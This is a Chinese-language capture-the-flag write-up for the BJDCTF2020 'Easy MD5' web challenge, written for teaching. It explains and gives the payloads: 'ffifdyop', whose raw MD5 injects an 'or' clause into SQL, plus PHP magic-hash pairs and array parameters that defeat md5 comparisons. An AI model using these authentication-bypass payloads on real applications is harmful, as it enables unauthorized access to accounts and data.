復(fù)現(xiàn)環(huán)境
https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5
考察知識點(diǎn)
- 代碼審計
- MD5繞過
- 弱類型比較
解題分析
訪問題目是一個查詢框,提交查詢會傳入一個password參數(shù)

查詢框
響應(yīng)頭里有提示md5($pass,true)

md51
md5(string,true)函數(shù)在指定了true的時候,是返回的原始 16 字符二進(jìn)制格式。
而MD5繞過就是利用二進(jìn)制字符串和前面的形成閉合,構(gòu)成萬能密碼。
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
我們輸入這個ffifdyop字符串以后出現(xiàn)以下的頁面

ffifdyop
提示在源碼里面

源碼
if($a != $b && md5($a) == md5($b))
這個有多種繞過
?a=QNKCDZO&b=240610708
?a=s878926199a&b=s155964671a
?a[]=1&b[]=2
等等

弱類型比較繞過
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
弱類型比較變成了強(qiáng)類型比較了,這里就只能用php數(shù)組繞過,由于哈希函數(shù)無法處理php數(shù)組,在遇到數(shù)組時返回false,我們就可以利用false==false成立使條件成立。

php數(shù)組繞過